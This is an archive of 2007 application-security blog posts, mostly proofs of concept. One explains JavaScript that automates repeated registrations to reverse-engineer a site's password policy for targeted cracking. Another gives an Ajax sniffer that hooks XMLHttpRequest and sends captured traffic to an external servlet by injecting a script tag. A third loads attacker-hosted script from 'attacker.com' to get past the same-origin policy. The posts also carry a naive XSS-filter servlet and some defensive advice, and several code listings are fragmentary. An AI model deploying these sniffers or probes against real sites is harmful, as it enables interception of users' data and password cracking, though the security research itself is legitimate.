Tuesday, January 30, 2007

Target password cracking - code explained

This is the explanation of the source code from my last posting about targeted password cracking - Proof of concept

---- Start Code -----


Global variables defined in this module

  • ajax_request - To store the XMLHttpRequest object.
    autofill - This string will be used to send variations of password to detect the password policy and what other characters are allowed.
  • success_response - This string stores the response of the first successful password attempt.
  • post_url - This string is to store the parameter string for the attacks.
  • correct_password - This string stores the correct password used in the successful attempt.
  • chars_to_check - This string contains the characters we are testing if they are allowed by the application. As you can see here it is a very limited string but we can add as many characters to it.
  • username - Store the username of the successful registration. This username is further added with a number to create another unique username.
  • counter - This is a number which gets added to the username to create another unique username. A better approach would be to create a Random number generator.

var ajax_request = false;
var autofill = "";
var success_response = "";
var post_url = "";
var correct_password = "";
var chars_to_check = "@<>/#$!()";
var username = "";
var counter = 46532;


Function create_object()

This function creates a XMLHttpRequest object if it is firefox or ActiveXObject if IE6. Currently this module is tested in Firefox 2.0 and IE6. To learn more on XMLHttpRequest, please read the tutorials on Ajax.


function create_object() {

if(window.ActiveXObject) {
var versions = ["Msxml2.XMLHTTP.7.0", "Msxml2.XMLHTTP.6.0", "Msxml2.XMLHTTP.5.0", "Msxml2.XMLHTTP.4.0", "MSXML2.XMLHTTP.3.0", "MSXML2.XMLHTTP", "Microsoft.XMLHTTP"];

for (var i = 0; i < versions.length ; i++) {
try {
ajax_request = new ActiveXObject(versions[i]);

if (ajax_request) {
}catch (objException) {
// trap; try next one
} ;

if (!ajax_request && typeof XMLHttpRequest != 'undefined') {
ajax_request = new XMLHttpRequest ();



Function post_form(url, parameters)
url - The url where the form is submitted. This comes from the action attribute of the form.
parameters - This is the form parameters in a string format.

This function posts the form using XMLHttpRequest instead of the browser submitting it. This module assumes the first registration attempt is successful. Store the successful response page in success_response variable. This will be used to verify whether the subsequent attack response was successful. The server response is then updated in the DOM and the run_attack function called which checks for the password policy and the characters that are filtered.


function post_form(url, parameters) {

post_url = url;
ajax_request.open("POST", url, false);
ajax_request.setRequestHeader("Content-Type", "application/x-www-form-urlencoded; charset=UTF-8");


if(ajax_request.readyState == 4 && ajax_request.status == 200) {

var response_text = ajax_request.responseText;
success_response = response_text;
document.body.innerHTML = response_text;



Function submit_form(form_id)
form_id - The id of the form.

This function gathers all the form elements and initializes some global variables which are used in the subsequent automated registration attempts.

  1. Get the action attribute and store it in the form_action.
  2. Get all the form elements and store them in the string. If the form element type is password then store it in correct_password String.
  3. Create another form string to be used for fingerprinting the password policy. For the element types which are password replace them with ??.
    NOTE: I am using ?? as a placeholder for passwords. You can use other characters too.
  4. We will store the above form string in post_url where the future passwords can be applied by replacing ??.
  5. Store the correct password in the correct_password variable.
  6. Store the user name entered in the form in username variable. This will be required to replace with a new username everytime the password is successful.
  7. Call the post_form function to submit it to the server.


function submit_form(form_id)
var form = document.getElementById(form_id);
var form_action = form.action;

var params = "";

for(var i = 0; i < form.length; i++) {

params += form.elements[i].name + "=" + form.elements[i].value;

if(form.elements[i].type == 'password') {
autofill += form.elements[i].name + "=" + "??";
correct_password = form.elements[i].value;

else {

autofill += form.elements[i].name + "=" + form.elements[i].value;

if(form.elements[i].name == 'username')
username = form.elements[i].value;


if(i+1 < form.length) {
autofill += "&";
params += "&";

post_form(form_action, params);


Function create_attack_string(passwd)
passwd - The password which we want to test against the victim server.

  1. Create the new username by appending some numerics to it to make it unique. We are trying to avoid the duplicate usernames.
  2. Replace the ?? which we created as placeholders for password by the passwd passed in the parameter. replaceAll calls the prototype function of String object defined towards the end of this file.
  3. Return the newly created form parameter string to be submitted to the victim server.


function create_attack_string(passwd)
var newString = autofill.replace(username, getUserName());
newString = newString.replaceAll("??", passwd);
return post_attacker(newString);


Function post_attacker(parameters)
parameters - the form parameter string which will be submitted to register username / password on the victim server.

This function submits the attack parameters and checks if the response from the server is a success by matching to the success_response it stored from a successful response the first time. If the response from the server matches the success response we stored from our original successful registration attempt then return true else return false.


function post_attacker(parameters) {
ajax_request.open("POST", post_url, false);
ajax_request.setRequestHeader("Content-Type", "application/x-www-form-urlencoded; charset=UTF-8");

if(ajax_request.readyState == 4 && ajax_request.status == 200) {

var response_text = ajax_request.responseText;

if(response_text == success_response)
return 'true';
return 'false';


Function getUserName()

This is a temporary function considering we are just using username and password for the Proof of concept. If there are more then just username and password then we want to store all of them in an array or some better approach. This is just for the PoC. I am just adding some integer value to the username for this proof of concept. A better approach would be to create a random number or string generator.


function getUserName()
return username + counter++;


Function findMinChars()

This function checks for the minimum number of characters allowed in a password. It starts with the number of characters in the successful password and work backwards maintaining the starting position for capital letter and ending position. Assuming the first character of the successful password was a capital letter and the last character a digit, the following routine removes one character from the second position of the original successful password and keeps removing one character until the minimum password length required is met which is checked by the response from the server. If the response is same as it was when the registration was successful then this attempt was successful too.


function findMinChars()
var attack_div = document.getElementById('attack_string');
attack_div.innerHTML = "Checking minimum password length.....";

for(var i = correct_password.length ; i >= 0; i--) {

var passwd = correct_password.substring(0,1) + correct_password.substring(correct_password.length - (i - 2), correct_password.length);
var success = create_attack_string(passwd);

if(success == 'true') {

attack_div.innerHTML += 'Minimum Password Length Allowed : ' + (i-1) + ' characters.';

Function findCharsNotAllowed()

Check the characters from the chars_to_check by adding one illegal character at a time to the password used at the time of successful registration. If successful then that character is allowed and if failure then character is not allowed.


function findCharsNotAllowed()
var attack_div = document.getElementById('attack_string');

for(var j = 0; j < chars_to_check.length; j++) {
var illegal_character = chars_to_check.charAt(j);
attack_div.innerHTML += 'Checking if character is allowed : ' + illegal_character + '...';
var newPassword = correct_password + illegal_character;
var newString = autofill.replaceAll("??", newPassword);
attack_div.innerHTML += 'Sending attack string : ' + newString + '....';
var success = post_attacker(newString);

attack_div.innerHTML += 'Character ' + illegal_character + ' allowed : ' + success;


Function isDigitRequired

Check for all the digits in the password used for successful registration and replace them with an alphabet. In this proof of concept i am replacing it with 'a'. If the attempt to register is successful that means the digit is not compulsory. If failed then it is. If a digit is required then we can further check whether if it is required at the beginning of a password or towards the end.


function isDigitRequired()
var attack_div = document.getElementById('attack_string');
attack_div.innerHTML += 'Checking if a digit is required.....';
var passwd = correct_password;

for(var i = 0; i < passwd.length ; i++)

if(passwd.charAt(i) > '0' && passwd.charAt(i) < '9')

passwd = passwd.substring(0,i) + 'a' + passwd.substring(i+1, passwd.length);


var success = create_attack_string(passwd);

if(success == 'true')
attack_div.innerHTML += 'Should contain digit : false';
attack_div.innerHTML += 'Should contain digit : true';


Function isStartingWithCapitalLetter()

This method moves the starting character which is a capital letter to other positions in the password and checks whether the registration was successful. If successful that means the the password need not start with a capital letter.


function isStartingWithCapitalLetter()
var attack_div = document.getElementById('attack_string');
attack_div.innerHTML += 'Checking if a password has to start with a capital letter......';
var passwd = correct_password.substring(0,1).toLowerCase() + correct_password.substring(1,correct_password.length);
var success = create_attack_string(passwd);

if(success == 'true')
attack_div.innerHTML += 'First letter to be a capital letter : false';
attack_div.innerHTML += 'First letter to be a capital letter : true';


Function isEndingWithDigit()

This method adds an alphabet to the end of the password and checks if it registers with this password. If it does then the password does not have to end with a digit. If it fails then it should end with a digit. Similarly we can check if a digit is required at all in the password.


function isEndingWithDigit()
var attack_div = document.getElementById('attack_string');
attack_div.innerHTML += 'Checking if a password has to end with a digit......
var passwd = correct_password + "a";
var success = create_attack_string(passwd);

if(success == 'true')
attack_div.innerHTML += 'Last letter has to be a digit : false
attack_div.innerHTML += 'Last letter has to be a digit : true


Function run_attack()

This function is the starting point of the attack. This function is called after the successful registration in the beginning and then onwards tries different combinations to identify what characters are not allowed in a password.


function run_attack()
//Find the minimum character required for the password.

//Find if the password has to start with a capital letter.

//Find if the digits are required

//Find if it has to end with a digit.

//Find if the characters as mentioned in the chars_to_check String are not allowed.




This function replaces all instances of the given substring with the target string. This function was copied from Ask Ben website. Details of the function is provided on his website in case you want to understand. The url is mentioned below


String.prototype.replaceAll = function(
strTarget, // The substring you want to replace
strSubString // The string you want to replace in.
var strText = this;
var intIndexOfMatch = strText.indexOf( strTarget );

// Keep looping while an instance of the target string still exists in the string.
while (intIndexOfMatch != -1)

// Relace out the current instance.
strText = strText.replace( strTarget, strSubString )

// Get the index of any next matching substring.
intIndexOfMatch = strText.indexOf( strTarget );

// Return the updated string with ALL the target strings replaced out with the new substring.
return( strText );

-----End Code ----

There are many improvements that can be done to this program. This is just a proof of concept and I was too lazy to do too much. If you get a chance to improve upon this, please do let me know. I also have some ideas and maybe we can discuss about it.

Download the complete source code or view the working demo at Attack Labs

Targeted password cracking - Proof of concept

This is a proof of concept to exploit the registration functionality of a website to build targeted password cracking engine. I am using Ajax to automatically detect the parameters which are submitted for a successful password and automatically resubmitting the modified passwords. Of course other technologies can be used for the same.

I think I can safely assume that by now we all understand the need of a strong password handling mechanism, which starts from a strong password policy. In the password policy we define the rules for the password selected by the user to login to their account. The idea is to make them stronger so that they are not easily guessed and more importantly, the password cracking tools cannot break them easily. Some websites have stricter password policy as compared to others but more often then not, the website owners also care about the customers as stronger passwords are difficult to remember. The stronger the password is, the chances are that the user might forget it especially if it is not something you use every day. Many companies also define the password policy keeping in mind many criteria, in which two of the main criteria are:

1. From the support perspective, password reset call volume might increase. (Not everyone has a online password reset functionality)
2. Inconvenience to the user.

There could be more depending on the company but these two are often brought up by the product team.

With the increase in SQL injection attack and XSS attack, many security professionals implement character filtering on anything that comes from the client. It could be blacklist character filtering (do not allow potentially harmful characters) or whitelist character filtering (only allow valid characters) depending on how a security professional or architect wants to approach it. For the sake of the argument let’s say the architects apply these filters globally which means these filters are implemented for passwords as well, further restricting the character set for the password selection. This is where we have to be extremely careful. If an application, filters characters for password fields as well on top of the security policy then you are limiting the character set for passwords and this could be reverse engineered to make intelligent password cracking tools.

Let’s take a look at how it can be done and what we can do to protect from it. To start with, we need to find out the following:

1. The minimum number of characters that are allowed for a password field?
2. Should it start or end with a capital letter?
3. The minimum number of capital letters required?
4. The minimum number of digits required?
5. Should it start or end with a digit?
6. What characters are not allowed (for example “<,>,#,&,\” etc)?

If we can find the answers to the above mentioned question then we can fine tune the password cracking tool to follow those rules as a result the number of permutations and combinations required will be less.

If we start by successfully registering a password on a website and then reverse engineer it to find what is allowed and what is not allowed. For example, let’s say we can successfully register with a password which contains 8 characters and starts with a capital letter and ends with a numeric (Say “Abcdefg1”) and rest all the characters are lower case alphabets. Assuming the registration is successful, we’ll start working backwards and find out what characters are filtered and what characters are required in what sequence.

1. Remove one character from the middle of the password keeping the first character (Capital letter) and the last character (Digit) intact. Use this password to register and keep reducing by one character from the middle until you get error.

2. Register with a password with one character removed from the middle of the original password, keeping the first character (Capital letter) and the last character (Digit) intact. Keep reducing by one character but keep the capital letter and number until it gives error. This way we can determine the minimum length of the password for the application. For example, “Abcdef1”, “Abcde1”, “Abcd1”, etc

3. Move the capital letter from the beginning to some other part of the password keeping the number and minimum number of characters allowed and see if it gives error. This will tell you if the password requires you to start with a capital letter or you can have it anywhere within the password. For example, “aBcdefg1”.

4. Select a password with minimum number of characters allowed and no capital letter and one numeric. If it doesn’t give any error that means capital numbers are not allowed. For example, “abcdefg1”

5. Select a password with no numeric character with one capital letter into it. If it doesn’t give any error then numeric is optional.

6. Replace a non numeric and non capital letter of the password with a character from a list of other characters (for example, %, ~, !, @, #, $, %, ^, &, *, <, > and so on). Replace the character one at a time and check if you get any error. If you get an error that means the character is not allowed.

By performing the above mentioned steps you can find out what characters are not allowed by the application and hence you can remove those characters in your password cracking tool and further set the rule for the characters allowed in certain order.

Now, if the application is filtering for blacklisted characters in password as well, then the list of characters not allowed will grow and will be favourable for the password cracking tool. By any chance if the application is doing whitelist filtering for passwords as well, then the characters actually allowed for passwords would be very limited and hence make it extremely easy for the password cracking tools.

The password is selected when a user is trying to register to the site. We don’t usually lockout the registration page after any number of unsuccessful attempts as we believe the user is trying to find the correct password combination. Some of the websites on their registration pages have captcha to ensure protection from bots but not many sites have that.

We can take certain steps to prevent us from this type of attack
Registration page

1. Implement a captcha. (though this is a tough one as it is a great inconvenience to the user but it does protects from automated attacks)

2. If we don’t filter the characters then there is a possibility of SQL injection attack. For that, we can hash the password before inserting into the SQL to store in the database (That is the general trend these days anyway) but we should be selective about what we filter and what we do not filter.

3. Put a delay of few seconds in every subsequent attempt. This is not a full proof solution but it definitely slow down the automated attacks.

4. Encourage the user to select stronger passwords by displaying how weak their password is on the registration page even though it is not enforced by a password policy.

Password page

1. Implement password lockouts. Reset the password after lockouts. The new password should not be same as the last password (at least)

2. Be selective about what you filter for the passwords.

3. Put a delay of few seconds in every subsequent attempt.

You can see the demo and download the code from Attack Labs

Explanation of the code can be viewed here

Sunday, January 28, 2007

Sample Shopcart application

In my experience i have seen a lot of developers being clueless about what application security is and how they unknowingly left a door open for the bad guys in their application. They don't have much idea about how application are open to these vulnerabililties (like XSS, SQL injection, session hijacking, etc), how they are exploited and what changes they need to make in their coding style to minimize these vulnerabilities in their application.

Shopcart application is a sample application which is developed to educate developers to understand how an application can be exploited and what kind of damage they can do.

This application does not have any security mechanism in it. The idea is for developers to learn how and what can be exploited if a security mechanism is not in place. Soon I will put together an application with proper security controls for the comparison.

The application can be accessed at http://www.attacklabs.com/shopcart/

Happy learning.

Tuesday, January 23, 2007

XSS filter to protect from XSS attacks

Here are the excerpts from the chilling effect

Grossman, who founded his own research company, WhiteHat, claims XSS vulnerabilities can be found in 70 percent of websites. RSnake goes further. "I know Jeremiah says seven of 10. I'd say there's only one in 30 I come across where the XSS isn't totally obvious. I don't know of a company I couldn't break into [using XSS]."
If you apply Grossman's number to a recent Netcraft survey, which estimated that there are close to 100 million websites, you've got 70 million sites with XSS vulnerabilities. Repairing them one-off, two-off, 200,000-off is spitting in the proverbial ocean. Even if you've disclosed, you've done very little to reduce the overall risk of exploit. "Logistically, there's no way to disclose this stuff to all the interested parties," Grossman says. "I used to think it was my moral professional duty to report every vulnerability, but it would take up my whole day."

If we can put an XSS filter in the framework (for example, as a servlet filter in the Java EE) then it would make it a lot easier for the developers to not worry about all the places where they are accepting the input from the client browser. Instead they can just do a request.getParameter() and the servlet filter would do all the filtering for XSS characters with each and every request which comes in to the JSP pages or servlets.

I have created a xss filter which can be tested at http://www.attacklabs.com/xssfilter/. It filters only 8 characters but it protects from all the possible attack strings mentioned in the Rsnake’s cheat sheet. If you can find an xss attack which can bypass the filter, then please do submit it here or email it to me at anurag.agarwal@yahoo.com

Please bear in mind that this filter is not the right choice if you want your users to input HTML tags or urls.

Source Code

import java.io.*;
import java.net.*;

import javax.servlet.*;
import javax.servlet.http.*;

* @author anurag agarwal
* @version 1.0
public class XSSFilter extends HttpServlet {
private String[] filterChars = {"<", ">", "<", ">", "&#", "\"", "\\", "0x"};
private String[] replacementChars = {" ", " ", " ", " ", "#", "'", "/", "0 x"};

protected void processRequest(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException {
PrintWriter out = response.getWriter();

String html = request.getParameter("html");
out.println("Here is the filtered output of the html you submitted.");



private String filterRequest(String param) {
String value = param;

if( param!=null) {

for(int i = 0; i < filterChars.length; i++) {
value = filterCharacters(filterChars[i], replacementChars[i], value);


return value;


private String filterCharacters(String originalChar, String newChar, String param)
StringBuffer sb = new StringBuffer(param);

for(int position = param.toLowerCase().indexOf(originalChar); position >= 0; ) {
sb.replace(position, position + originalChar.length(), newChar);
param = sb.toString();
position = param.toLowerCase().indexOf(originalChar);

return sb.toString();

protected void doGet(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException {
processRequest(request, response);

protected void doPost(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException {
processRequest(request, response);

Wednesday, January 17, 2007

Ajax Sniffer - Prrof of concept

NOTE - The original idea was discussed by Stefano Di Paola in his paper Subverting Ajax. I have simply created a working proof of concept of ajax based sniffer.

I have taken the same files as I demonstrated in ajax worm PoC. You can see the demo at http://www.attacklabs.com

Let’s take a look at how to create an ajax based sniffer.

In order to create a sniffer we need to do two things
1. Override the open and send function of XMLHttpRequest using javascript inheritance
2. Send the data to a program on the other domain

Override the open and send function of XMLHttpRequest using javascript inheritance

What is inheritance?

In object-oriented programming, inheritance is a way to form new classes (subclasses) using classes that have already been defined (super classes). The new classes, also known as inherited classes, take over attributes and behavior of pre-existing classes, which are referred to as base classes (or super classes). It is intended to help reuse of existing code with little or no modification. Many object-oriented programming languages permit a class or object to replace the implementation of a behavior—that it has inherited. This process is usually called overriding. Another reason to use inheritance is to provide additional data or behavior features. This is often used when incorporating new features into the super class is either not possible or not appropriate.

Javascript Prototype feature and inheritance

Although JavaScript is a scripting language, it supports object-oriented programming. There may be no classes or instances but it has objects, prototypes and implicit inheritance. To find out more about inheritance in Javascript you can look at the links in the references section. The example below shows how to extend an object in javascript to add more function to it using prototype feature

//Define a class in javascript
function MainClass()
alert('this is the main class');

//Create an object
var newClass = new MainClass();

//Add a new function to the existing class ‘MainClass’
MainClass.prototype.newFunction = function()
alert('this is the new function');

//Call the new function

As you can see, using prototype we can add new functions to the existing class or override functionality of the existing function.

Overriding open function of XMLHttpRequest

/*Create a new function called myOpen. Call the sniffing function from it and then pass the control to the original open function of XMLHttpRequest object. */

var myOpen = function(method, url, async, user, password) {
this.originalOpen(method, url, async, user, password);

/*Store the reference to the original open function of XMLHttpRequest object. */

XMLHttpRequest.prototype.originalOpen = XMLHttpRequest.prototype.open;

/*Assign the newly created myOpen function to the original open function of XMLHttpRequest. Now whenever a call to open function is made, it will invoke myOpen function first and from within myOpen the original open function is invoked to let XMLHttpRequest perform its function. */

XMLHttpRequest.prototype.open = myOpen;

Overriding send function of XMLHttpRequest

/* Create a new function called mySend. This function overrides the original send function of XMLHttpRequest object and calls it towards the end. */

var mySend = function(a) {
var xhr = this;

/* This function would get called when the onload event is called. */

var onload = function() {

/* This function is called if there is an error when the onerror event is called. */

var onerror = function() {

/* Add the load and error events to this function. */

xhr.addEventListener("load", onload, false);
xhr.addEventListener("error", onerror, false);

/* Call the original send function. */


/* Store the original function in another variable and call it from within the overriding function. */

XMLHttpRequest.prototype.originalSend = XMLHttpRequest.prototype.send;

/* Assign the newly created mySend function to the original open function of XMLHttpRequest. Now whenever a call to send function is made, it will invoke mySend function first and from within mySend the original send function is invoked to let XMLHttpRequest object perform its function. */

XMLHttpRequest.prototype.send = mySend;

/* Adding a new function to the XMLHttpRequest object. It can be called using ajax_request.newMethod(); */

XMLHttpRequest.prototype.newMethod = function() {
alert("New function added to XMLHttpRequest");

Send the data to a program on the other domain

This function sends the data to a servlet on an external domain. To read the proof of concept of how to bypass same origin barrier of javascript read here and view the demo at http://www.attacklabs.com

function send_to_attacker(param_url)
var attack_script = "http://www.myappsecurity.com:8084/Mail_List/sniffer?" + param_url;

var script = document.createElement('script');
script.src = attack_script;
script.type = 'text/javascript';

//Remove the script element after it has been executed as it is no longer required.

You can see the demo at http://www.attacklabs.com

You can download the source code at http://www.attacklabs.com/download/sniffer.rar

Wednesday, January 10, 2007

Breaking the Same Origin barrier of Javascript

NOTE: I dont want javascript to be executed so in the sample code below, you will see that i will remove the <> tags from the script element.

Same Origin Policy of browsers

Often times we have heard that Javascript cannot send requests to another domain. That is because of the same origin policy implemented in the browsers. The same origin policy of the browsers prevents document or script loading from a different domain to manipulate the document loaded from current domain, without which javascript from a malicious domain could do any number of adverse things such as log keystrokes, steal cookies, modify your data, or even insert unwanted transactions while you do your online banking, etc. Hence, most of the current browsers implement the same origin policy on nearly every properties and methods available to javascript. The only exception to the same origin policy is if you are working with documents loaded from any of the subdomains of the current domain. By setting the domain property of the document, scripts residing on subdomain are allowed access to the scripts on the main domain. For example, the script from test.domain.com could set the domain property to “domain.com”. This way the script passes the origin checks when accessing windows loaded from “domain.com”. However, the scripts from “test.domain.com” could not set the domain property to “anotherdomain.com”.

When a script tries to access properties or methods in a different window – for example, using the handle returned by window.open() – the browser performs a same origin check on the URLs of the document in question. If the URLs of the document pass this check, the property can be accessed, and if they don’t then an error is thrown. The same origin check consists of verifying that the URL of the document in the target window has the same origin as the document containing the calling script.

External Javascript from Java Servlets

One of the lesser known sides of external JavaScript is the ability to reference a server side program(CGI, PHP or Servlets) instead of the familiar .js file. It is kinda interesting since a client side script interacting with a server side program is not considered safe and is usually not allowed from within the browser but apparently a script can be dynamically generated and loaded, if referenced in src attribute of the script tag, while the html page is being loaded. Using the src attribute of the script tag, we can call an external javascript, we can also call a server side program to dynamically generate a javascript. For example

script type="text/javascript" src="myservlet"

Where "myservlet" is the server side program and could be an absolute path like “http://www.myserver.com/myservlet” or a relative path like “myservlet” instead of the usual .js file. Interestingly you can even pass parameters to the servlet through the URL string. For example

script type="text/javascript" src="http://attacker.com/myservlet?name=myname"

Now the servlet can be invoked and process parameters and return the result back. There is a limitation however. It can only return Javascript code. You also have to set the content type as “application/x-javascript”. Just think of it as returning javascript code instead of html code. But there is a workaround to this limitation. Just like while returning html, if you had Javascript code, you would encapsulate in script tag, here, if you have to return html code, you can always return document .body .innerHTML = ‘html code’ or document .write(‘html code’). So your typical servlet would look like

public class myservlet
public void doGet(HttpServletRequest request, HttpServletResponse response)
PrintWriter out = response.getWriter();
String name = request.getParameter(“name”);
out.println(“document.body.innerHTML = ‘Welcome “ + name + “’;”);

A JavaScript header is sent at the very beginning to inform the browser that it is receiving a JavaScript file. The final output of the servlet needs to be a valid Javascript file and must conform to Javascript syntax, servlet outputs a valid javascript code which replaces the content of the html page and displays “Welcome anurag”.
The other limitation, however, is that it cannot have an interactive session with the server side program. While loading the page, when the browser comes across the script tag, it goes to the URL mentioned in the src attribute and validates the incoming data as a valid javascript and executes it. The script tag is only executed once and after the entire page is loaded, it cannot call the server side program again.

Breaking the same origin barrier using external Javascript

As we discussed above, once the entire html page is loaded and all the Javascript files are executed, there can be no interaction with the server anymore since all the script tags are executed by the browser. But wait a minute, what about DHTML? We can dynamically create a script element and set a server side program in the src attribute and VIOLA, we have just breached the same domain barrier. Let’s take a look at the code.

Code sample
Append the following Javascript code at the victim browser

function loadscript()
var attack_script = document.createElement('script');
attack_script.id = 'myscript';
attack_script.src = 'http://attacker.com/myservlet'; //Replace this url with your servlet/cgi/php url.
attack_script.type = 'text/javascript';

Create the servlet at the attacker server

public class myservlet
public void doGet(HttpServletRequest request, HttpServletResponse response)
PrintWriter out = response.getWriter();
String ip = request.getRemoteAddr();
out.println("document.body.innerHTML='Your IP address is : " + ip + "';");


You can view the demo here (http://www.attacklabs.com)

Download Code

You can download the sample code here (http://www.attacklabs.com)


Firefox same origin policy

Same Origin Policy - Wikipedia